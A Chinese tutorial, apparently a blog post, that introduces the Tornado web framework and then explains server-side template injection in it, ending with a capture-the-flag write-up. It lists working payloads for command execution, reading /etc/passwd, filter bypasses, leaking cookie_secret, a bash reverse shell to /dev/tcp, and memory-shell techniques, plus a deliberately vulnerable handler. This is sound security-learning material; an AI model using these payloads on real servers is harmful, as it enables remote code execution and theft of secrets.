Tornado 大致提供了三种不同的组件:
这里简单介绍一下异步是什么:
说到异步,肯定会联系出来它的孪生兄弟--同步(Synchronous),"同步模式"就是上一段的模式,后一个任务等待前一个任务结束,然后再执行,程序的执行顺序与任务的排列顺序是一致的、同步的.
"异步模式"则完全不同,每一个任务有一个或多个回调函数(callback),前一个任务结束后,不是执行后一个任务,而是执行回调函数,后一个任务则是不等前一个任务结束就执行,所以程序的执行顺序与任务的排列顺序是不一致的、异步的。 "异步模式"非常重要。
异步的用处:
#!/usr/bin/env python # _*_ coding:utf-8 _*_ __author__ = "charles" import tornado.ioloop import tornado.web class MainHandler(tornado.web.RequestHandler): def get(self): # self.write("Hello, world") self.render("s1.html") def post(self, *args, **kwargs): #表单以post方式提交 self.write("hello world") settings = { "template_path":"template", #模版路径的配置 "static_path":'static', #静态文件配置 } #路由映射,路由系统 application = tornado.web.Application([ #创建对象 (r"/index", MainHandler), ],**settings) #将settings注册到路由系统,这样配置才会生效 if __name__ == "__main__": application.listen(8888) #创建socket,一直循环 tornado.ioloop.IOLoop.instance().start() #使用epoll,io多路复用
def initialize(self, db): # 初始化handler类接收参数的过程 self.db = db
def prepare(self): # 用于真正调用请求处理之前的初始化方法 # 如:打印日志,打开文件 pass
def on_finish(self): # 关闭句柄,清理内存 pass
def get(self, *args, **kwargs): pass def post(self, *args, **kwargs): pass def delete(self, *args, **kwargs): pass def patch(self, *args, **kwargs): pass
def get(self, *args, **kwargs): """ get_query_argument 和 get_query_arguments 为获取get请求参数的方法 如果name不存在就会抛出400异常 :param args: :param kwargs: :return: """ # 获取的是字符串,默认取最后一个name的值 self.get_query_argument("name") # 获取的是列表,存放所有的name的值 self.get_query_arguments("name") def post(self, *args, **kwargs): """ get_argument 和 get_arguments 为获取post请求参数的方法 :param args: :param kwargs: :return: """ # 获取的是字符串,取最后一个name的值 data1 = self.get_argument("name") # 获取的是列表,如果url后边跟上name参数会将该name参数的值也放入列表中 data2 = self.get_arguments("name") # 获取所有的参数 data3 = self.request.arguments # 如果请求没有传递headers = { # "Content-type": "application/x-www-form-urlencoded;", # } # 获取json数据, 我们必须先从body中获取参数解码,然后转换为dict对象 # 才能调用get_body_argument 和 get_body_arguments 方法获取json参数 # 如果请求头传递了headers,我们可以直接使用get_body_argument获取参数 param = self.request.body.decode('utf-8') json_data = json.loads(param) data4 = self.get_body_argument("name") data5 = self.get_body_arguments("name")
设置异常状态码set_status:
try: data4 = self.get_body_argument("name") data5 = self.get_body_arguments("name") except Exception as e: self.set_status(500)
输出至浏览器显示方法write,因为tornado为长连接,所以可以连续写多个write方法,将内容连接起来:
def get(self, *args, **kwargs): self.write("hello") self.write("world")
import tornado.template as template payload = "{{1+1}}" print(template.Template(payload).generate())
我们通过这个简单代码,来看一看代码都是如何来进行执行的。一下是参考了官方文档和Tr0y师傅的文章总结出来的语法内容,因为我们重点关注的是注入攻击,所以主要学习一下构造payload时候,使用到的语法:
{{ ... }}
:里面直接写 python 语句即可,没有经过特殊的转换。默认输出会经过 html 编码
{% ... %}
:内置的特殊语法,有以下几种规则
{# ... #}
:注释
{% comment ... %}
:注释
{% apply *function* %}...{% end %}
:
用于执行函数,
function
是函数名。apply
到end
之间的内容是函数的参数
{% autoescape *function* %}
:
用于设置当前模板文件的编码方式。
{% block *name* %}...{% end %}
:
引用定义过的模板段,通常来说会配合
extends
使用。感觉block
同时承担了定义和引用的作用,这个行为不太好理解,比较奇怪。比如{% block name %}a{% end %}{% block name %}b{% end %}
的结果是bb
...
{% extends *filename* %}
:
将模板文件引入当前的模板,配合
block
使用。使用extends
的模板是比较特殊的,需要有 template loader,以及如果要起到继承的作用,需要先在加载被引用的模板文件,然后再加载引用的模板文件
{% for *var* in *expr* %}...{% end %}
:
等价与 python 的 for 循环,可以使用
{% break %}
和{% continue %}
{% from * import * %}
:
等价与 python 原始的
import
{%if%}...{%elif%}...{%else%}...{%end%}
:
等价与 python 的
if
{% import *module* %}
:等价与 python 原始的 import
{% include *filename* %}
:
与手动合并模板文件到
include
位置的效果一样(autoescape
是唯一不生效的例外)
{% raw *expr* %}
:
常规的模板语句,只是输出不会被转义
{% set *x* = *y* %}
:
创建一个局部变量
{% try %}...{% except %}...{% else %}...{% finally %}...{% end %}
:
等同于 python 的异常捕获相关语句
{% while *condition* %}... {% end %}
:
等价与 python 的 while 循环,可以使用
{% break %}
和{% continue %}
{% whitespace *mode* %}
:
设定模板对于空白符号的处理机制,有三种:
all
- 不做修改、single
- 多个空白符号变成一个、oneline
- 先把所有空白符变成空格,然后连续空格变成一个空格
apply的内置函数列表:
linkify
:把链接转为 html 链接标签(<a href="...
)squeeze
:作用与 {% whitespace oneline %}
一样autoescape的内置函数列表:
xhtml_escape
:html 编码json_encode
:转为 jsonurl_escape
:url 编码其他函数(需要在 settings 中指定)
xhtml_unescape
:html 解码url_unescape
:url 解码json_decode
:解开 jsonutf8
:utf8 编码to_unicode
:utf8 解码native_str
:utf8 解码to_basestring
:历史遗留功能,现在和 to_unicode
是一样的作用recursive_unicode
:把可迭代对象中的所有元素进行 to_unicode
Tornado 中模板渲染函数在有两个
render_string:通过模板文件名加载模板,然后更新模板引擎中的命名空间,添加一些全局函数或其他对象,然后生成并返回渲染好的 html内容
render:依次调用render_string
及相关渲染函数生成的内容,最后调用 finish 直接输出给客户端。
我们跟进模板引擎相关类看看其中的实现。
Tornado render
是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过{{}}进行传递变量和执行简单的表达式。
简单的理解例子如下:
import tornado.ioloop import tornado.web class MainHandler(tornado.web.RequestHandler): def get(self): self.render('index.html') class LoginHandler(BaseHandler): def get(self): # self.set_cookie() # self.get_cookie() self.render('login.html', **{'status': ''}) def login(request): #获取用户输入 login_form = AccountForm.LoginForm(request.POST) if request.method == 'POST': #判断用户输入是否合法 if login_form.is_valid():#如果用户输入是合法的 username = request.POST.get('username') password = request.POST.get('password') if models.UserInfo.objects.get(username=username) and models.UserInfo.objects.get(username=username).password == password: request.session['auth_user'] = username return redirect('/index/') else: return render(request,'account/login.html',{'model': login_form,'backend_autherror':'用户名或密码错误'}) else: error_msg = login_form.errors.as_data() return render(request,'account/login.html',{'model': login_form,'errors':error_msg}) # 如果登录成功,写入session,跳转index return render(request, 'account/login.html', {'model': login_form}
由上面可知:render是一个类似模板的东西,可以使用不同的参数来访问网页,所以render其实就是Tornado的一个工具。
Tornado中SSTI 手法基本上兼容 jinja2、mako 的 SSTI 手法,思路非常灵活:
{{ __import__("os").system("whoami") }} {% apply __import__("os").system %}id{% end %} {% raw __import__("os").system("whoami") %}
先来写个测试用例:
import tornado.ioloop import tornado.web from tornado.template import Template class IndexHandler(tornado.web.RequestHandler): def get(self): tornado.web.RequestHandler._template_loaders = {}#清空模板引擎 with open('index.html', 'w') as (f): f.write(self.get_argument('name')) self.render('index.html') app = tornado.web.Application( [('/', IndexHandler)], ) app.listen(8888, address="127.0.0.1") tornado.ioloop.IOLoop.current().start()
解释一下这串代码是什么意思:
这段代码使用 Tornado 框架创建了一个 Web 应用,监听本地地址 127.0.0.1 的端口 8888。当用户访问该应用的根路径时,会执行 IndexHandler 类的 get 方法。 在 get 方法中,将请求参数中的 name 参数写入一个名为 index.html 的文件中,并使用 Tornado 的模板引擎将该文件渲染为 HTML 页面返回给用户。 需要注意的是,该代码使用了一个特殊的方式来清空模板引擎的缓存,即将 _template_loaders 属性设置为空字典,这可能是为了避免在开发过程中因为模板缓存而导致修改无效的问题。
对于 Tornado 来说,一旦 self.render
之后,就会实例化一个 tornado.template.Loader
,这个时候再去修改文件内容,它也不会再实例化一次。所以这里需要把 tornado.web.RequestHandler._template_loaders
清空。否则在利用的时候,会一直用的第一个传入的 payload。
这种写法会新引入变量:
1. request:即 tornado.httputil.HTTPServerRequest,下面的属性都是与 http 请求相关的 2. handler:tornado.web.RequestHandler的示例。表示当前请求的 url 是谁处理的,比如这个代码来说,handle 就是 IndexHandler。它下面有很多属性可以利用。
所以 Tornado 中,tornado.httputil.HTTPServerRequest
和 tornado.web.RequestHandler
是非常重要的类。它们拥有非常多的属性,在 SSTI 相关的知识点中,我们需要熟练掌握这些属性的作用。
为了方便下面把 tornado.httputil.HTTPServerRequest
的实例称为 request
。
注意,由于属性非常多,属性自己也还有属性。所以这部分我只列了一些我感觉会用到的属性,肯定不全,有特殊需求的话需要自行进行挖掘。
request.query
:包含 get 参数request.query_arguments
:解析成字典的 get 参数,可用于传递基础类型的值(字符串、整数等)request.arguments
:包含 get、post 参数request.body
:包含 post 参数request.body_arguments
:解析成字典的 post 参数,可用于传递基础类型的值(字符串、整数等)request.cookies
:就是 cookierequest.files
:上传的文件request.headers
:请求头request.full_url
:完整的 urlrequest.uri
:包含 get 参数的 url。有趣的是,直接 str(requests)
然后切片,也可以获得包含 get 参数的 url。这样的话不需要 .
或者 getattr
之类的函数了。request.host
:Host 头request.host_name
:Host 头{{request.method}} //返回请求方法名 GET|POST|PUT... {{request.query}} //传入?a=123 则返回a=123 {{request.arguments}} //返回所有参数组成的字典 {{request.cookies}} //同{{handler.cookies}}
request.connection.write
request.connection.stream.write
request.server_connection.stream.write
例如:
{%raw request.connection.write(("HTTP/1.1 200 OK\r\nCMD: "+__import__("os").popen("id").read()).encode()+b"hacked: ")%}'
主要用于攻击的有这几个属性:
- Application.settings:web 服务的配置,可能会泄露一些敏感的配置 - Application.add_handlers:新增一个服务处理逻辑,可用于制作内存马,后面会一起说 - Application.wildcard_router.add_rules:新增一个 url 处理逻辑,可用于制作内存马 - Application.add_transform:新增一个返回数据的处理逻辑,理论上可以配合响应头来搞个内存马
为了方便下面把 tornado.web.RequestHandler
称为 handler
。需要注意的是,handler 是有 request
属性的,所以理论上 handler 要比 request 实用。
{{handler.get_argument('yu')}} //比如传入?yu=123则返回值为123 {{handler.cookies}} //返回cookie值 {{handler.get_cookie("data")}} //返回cookie中data的值 {{handler.decode_argument('\u0066')}} //返回f,其中\u0066为f的unicode编码 {{handler.get_query_argument('yu')}} //比如传入?yu=123则返回值为123 {{handler.settings}} //比如传入application.settings中的值
RequestHandler.request.*
:参考利用 HTTPServerRequest
那节get_argument
等等,就不一一列举了,可以参考官方文档- RequestHandler.set_cookie:设置 cookie - RequestHandler.set_header:设置一个新的响应头 - RequestHandler.redirect:重定向,可以通过 location 获取回显 - RequestHandler.send_error:发送错误码和错误信息 - RequestHandler.write_error:同上,被 `send_error` 调用
_
:我们可以发现在tornado中是可以直接使用global()函数的,更令我们兴奋的是竟然可以直接调用一些python的初始方法,比如import、eval、print、hex等,这下似乎我们的payload可以更加简洁了
{{__import__("os").popen("ls").read()}} {{eval('__import__("os").popen("ls").read()')}}
其中第二种方法更多的是为了我们刚才讲到的目的,绕过对_
的过滤。
{{eval(handler.get_argument('yu'))}} ?yu=__import__("os").popen("ls").read()
.
:因为tornado中没有过滤器,这样的话我们想要绕过对于.的过滤就有些困难了。而如果想要绕过对于引号的过滤,可以将上面的payload改成如下格式
{{eval(handler.get_argument(request.method))}} 然后看下请求方法,如果是get的话就可以传?GET=__import__("os").popen("ls").read(),post同理
1、读文件 {% extends "/etc/passwd" %} {% include "/etc/passwd" %} 2、 直接使用函数 {{__import__("os").popen("ls").read()}} {{eval('__import__("os").popen("ls").read()')}} 3、导入库 {% import os %}{{os.popen("ls").read()}} 4、flask中的payload大部分也通用 {{"".__class__.__mro__[-1].__subclasses__()[133].__init__.__globals__["popen"]('ls').read()}} {{"".__class__.__mro__[-1].__subclasses__()[x].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}} 其中"".__class__.__mro__[-1].__subclasses__()[133]为<class 'os._wrap_close'>类 第二个中的x为有__builtins__的class 5、利用tornado特有的对象或者方法 {{handler.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}} {{handler.request.server_connection._serving_future._coro.cr_frame.f_builtins['eval']("__import__('os').popen('ls').read()")}} 6、利用tornado模板中的代码注入 {% raw "__import__('os').popen('ls').read()"%0a _tt_utf8 = eval%}{{'1'%0a _tt_utf8 = str}}
过滤payload:
1.过滤一些关键字如import、os、popen等(过滤引号该方法同样适用) {{eval(handler.get_argument(request.method))}} 然后看下请求方法,如果是get的话就可以传?GET=__import__("os").popen("ls").read(),post同理 2.过滤了括号未过滤引号 {% raw "\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x70\x6f\x70\x65\x6e\x28\x27\x6c\x73\x27\x29\x2e\x72\x65\x61\x64\x28\x29"%0a _tt_utf8 = eval%}{{'1'%0a _tt_utf8 = str}} 3.过滤括号及引号 下面这种方法无回显,适用于反弹shell,为什么用exec不用eval呢? 是因为eval不支持多行语句。 __import__('os').system('bash -i >& /dev/tcp/xxx/xxx 0>&1')%0a"""%0a&data={%autoescape None%}{% raw request.body%0a _tt_utf8=exec%}&%0a""" 4.其他 通过参考其他师傅的文章学到了下面的方法(两个是一起使用的) {{handler.application.default_router.add_rules([["123","os.po"+"pen","a","345"]])}} {{handler.application.default_router.named_rules['345'].target('/readflag').read()}}
题目一开始给了三个文件的链接,flag.txt中提供了flag所在的文件夹,welcome文件提供了render关键词,hints.txt提供了一个计算公式在地址栏中显示了一个filehash的值,
md5(cookie_secret+md5(filename))
所以逻辑上应该是我们利用计算出来的文件签名的hash值,来访问flag.txt对应的提示文件,就可以得到flag
所以我们现在主要的目标就是寻找cookie密钥,然后下一步就要关注给我们的提示了:render在模板注入中Tornado框架下有一个模板渲染就是render,所以我们把目光放在Tornado上面,当我们直接访问/fllllllllag时,会出现这个msg=error这个页面。
所以我们在这里可以尝试进行模板注入:
这里{{handler.application.settings}}
或者{{handler.settings}}
就可获得settings
中的cookie_secret。
import hashlib def md5encode(str): m = hashlib.md5() m.update(str) return m.hexdigest() name = '/fllllllllllllag' secret = '9fdfa0bb-bf87-4cc8-9126-e00e9123222a' name = name.encode() bb = md5encode((secret + md5encode(name)).encode()) print(bb)
参考文章:
https://blog.csdn.net/qq_37788081/article/details/79263867
https://blog.csdn.net/qq_45951598/article/details/111312370
(13条消息) tornado模板注入_tornado 模板注入_yu22x的博客-CSDN博客
SecMap - SSTI(Tornado) - Tr0y's Blog